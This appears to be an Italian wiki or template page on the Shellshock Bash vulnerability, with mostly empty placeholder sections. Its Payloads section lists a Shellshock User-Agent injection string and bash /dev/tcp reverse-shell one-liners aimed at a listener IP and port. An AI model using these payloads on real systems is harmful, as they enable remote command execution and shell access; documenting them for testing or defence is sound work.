Shell Shock

*Autore(i): [email protected] *Manutentore(i): ** *Dipartimento: DevOps *Licenze: **

Panoramica

Shell Shock: Escalation dei privilegi, esecuzione remota di codice Famiglia di bug nella shell Bash di Unix. Consente l'esecuzione di comandi arbitrari.

Vettori di sfruttamento

---

Payloads

• user agent di shellshock = User-Agent: () { :; } ; <$BASH_COMMAND>
• payload rshell = bash -i >& /dev/tcp/127.0.0.1
  • reindirizzamento rshell al listener = bash -i >& /dev/tcp/$YOUR_IP:$PORT

Trucchi

Progettazione:

• Scopo:
• Contenuti:
• Server:
  • Applicazione:
  • Database:
• Rete:
  • DNS:
  • Percorsi:
• Dipendenze dell'applicazione:
• Programmi dipendenti:

Utilizzo di base:

• Utilizzo:

• Casi d'uso comuni:

• Esempi:

Test

Input di test

• Parametri:
• Azioni:

Output di test

• Output:
• Screenshot:
• Video:
• Ecc:

Note:* [opzione]: